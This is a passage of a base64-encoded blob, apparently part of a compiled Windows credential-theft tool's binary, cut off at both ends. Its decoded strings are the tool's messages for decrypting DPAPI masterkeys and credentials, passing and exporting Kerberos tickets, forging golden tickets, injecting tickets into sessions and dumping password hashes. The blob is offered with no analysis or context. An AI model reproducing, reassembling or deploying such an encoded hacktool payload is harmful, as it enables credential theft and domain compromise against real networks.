wByAGEAdwBfAG8AcgBfAGIAbABvAGIAIAA7ACAAQwByAHkAcAB0AFUAbgBwAHIAbwB0AGUAYwB0AEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAACAAIABrAGUAeQAgADoAIAAAAAAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAAAAAACAAIABzAGkAZAAgADoAIAAAAAAAAAAAACAAIAAgAAAAIAAtAC0AIAAAAAAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAAAAAAFMASABBADEAOgAAAAAAAABNAEQANABwADoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBvAGUAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAGEAZABkACAAOwAgAE4AbwAgAEcAVQBJAEQAIABvAHIAIABLAGUAeQA/AAAAAAAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAAAAAAAAoAQwBSAEUARABFAE4AVABJAEEATABTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAACgBNAEEAUwBUAEUAUgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAAAAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAAAAAAAEEAdQB0AG8AIABTAEkARAAgAGYAcgBvAG0AIABwAGEAdABoACAAcwBlAGUAbQBzACAAdABvACAAYgBlADoAIAAlAHMACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABDAHIAZQBkAGUAbgB0AGkAYQBsADoACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAAAAAHAAbwBsAGkAYwB5AAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUABvAGwAaQBjAHkAIABLAGUAeQBzADoACgAAAAAAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEUAeABwAG8AcgB0ACAAZgBsAGEAZwBzADoACgAAAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAAAAHIAYQB3AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEkAbgBwAHUAdAAgAEMAQQBQAEkAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABQAHIAbwBwAGUAcgB0AGkAZQBzADoACgAAADZqbmtkNUozWmRRRHRyc3UAAAAAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAAAAAAAAcAB0AHQAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABsAGkAcwB0AAAAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAAB0AGcAdAAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAAAAAAHAAdQByAGcAZQAAAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAGcAbwBsAGQAZQBuAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAASABhAHMAaAAgAHAAYQBzAHMAdwBvAHIAZAAgAHQAbwAgAGsAZQB5AHMAAAAAAAAAcAB0AGMAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAAAAAABjAGwAaQBzAHQAAAAAAAAAAAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAcwAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAlADMAdQAgAC0AIABEAGkAcgBlAGMAdABvAHIAeQAgACcAJQBzACcAIAAoACoALgBrAGkAcgBiAGkAKQAKAAAAXAAqAC4AawBpAHIAYgBpAAAAAABcAAAAIAAgACAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAAAAAAAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAAAAAACAAOwAgAAAAAAAAAAAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAAAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAAAGsAaQByAGIAaQAAAAAAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAdABpAGMAawBlAHQALgBrAGkAcgBiAGkAAAAAAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAAAAAAHUAcwBlAHIAAAAAAAAAAABkAG8AbQBhAGkAbgAAAAAAZABlAHMAAAByAGMANAAAAGsAcgBiAHQAZwB0AAAAAABhAGUAcwAxADIAOAAAAAAAYQBlAHMAMgA1ADYAAAAAAHMAZQByAHYAaQBjAGUAAAB0AGEAcgBnAGUAdAAAAAAAaQBkAAAAAAByAG8AZABjAAAAAAAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAADAAAABzAHQAYQByAHQAbwBmAGYAcwBlAHQAAAA1ADIANQA2ADAAMAAwAAAAZQBuAGQAaQBuAAAAAAAAAHIAZQBuAGUAdwBtAGEAeAAAAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAKAFMASQBEACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFUAcwBlAHIAIABJAGQAIAAgACAAOgAgACUAdQAKAAAAAAAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAAAAAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAAAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAAAAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAAAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAAAAAAAAoARwBvAGwAZABlAG4AIAB0AGkAYwBrAGUAdAAgAGYAbwByACAAJwAlAHMAIABAACAAJQBzACcAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHMAdQBiAG0AaQB0AHQAZQBkACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAKAAAAAAAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAPAAzACAAZQBvAC4AbwBlACAAfgAgAEEATgBTAFMASQAgAEUAPgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAACQAqACAAJQBzACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAAAAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAAAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAAAAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAAAKAAkAIAAgACAAIAAgAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAAAAAAJAFsALgAuAC4AXQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAAAAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAAAAAAGkAbgB2AGEAbABpAGQAAABwAG8AcwB0AGQAYQB0AGUAZAAAAAAAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAAAAAAHAAcgBvAHgAeQAAAAAAAABwAHIAbwB4AGkAYQBiAGwAZQAAAAAAAABmAG8AcgB3AGEAcgBkAGUAZAAAAAAAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAAAAAABuAHUAbABsACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAAAAAAAAZABlAHMAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAAAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAAAAAABkAGUAcwBfAGMAYgBjAF8AbQBkADQAIAAgACAAIAAgACAAAAAAAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1ACAAIAAgACAAIAAgAAAAAAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAAAAAAByAGMANABfAHAAbABhAGkAbgAgACAAIAAgACAAIAAgACAAAAAAAAAAcgBjADQAXwBwAGwAYQBpAG4AMgAgACAAIAAgACAAIAAgAAAAAAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAAAAAAByAGMANABfAGwAbQAgACAAIAAgACAAIAAgACAAIAAgACAAAAAAAAAAcgBjADQAXwBtAGQANAAgACAAIAAgACAAIAAgACAAIAAgAAAAAAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAAAAAAByAGMANABfAGgAbQBhAGMAXwBuAHQAIAAgACAAIAAgACAAAAAAAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0AF8AZQB4AHAAIAAgAAAAAAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAAAAAAByAGMANABfAHAAbABhAGkAbgBfAG8AbABkA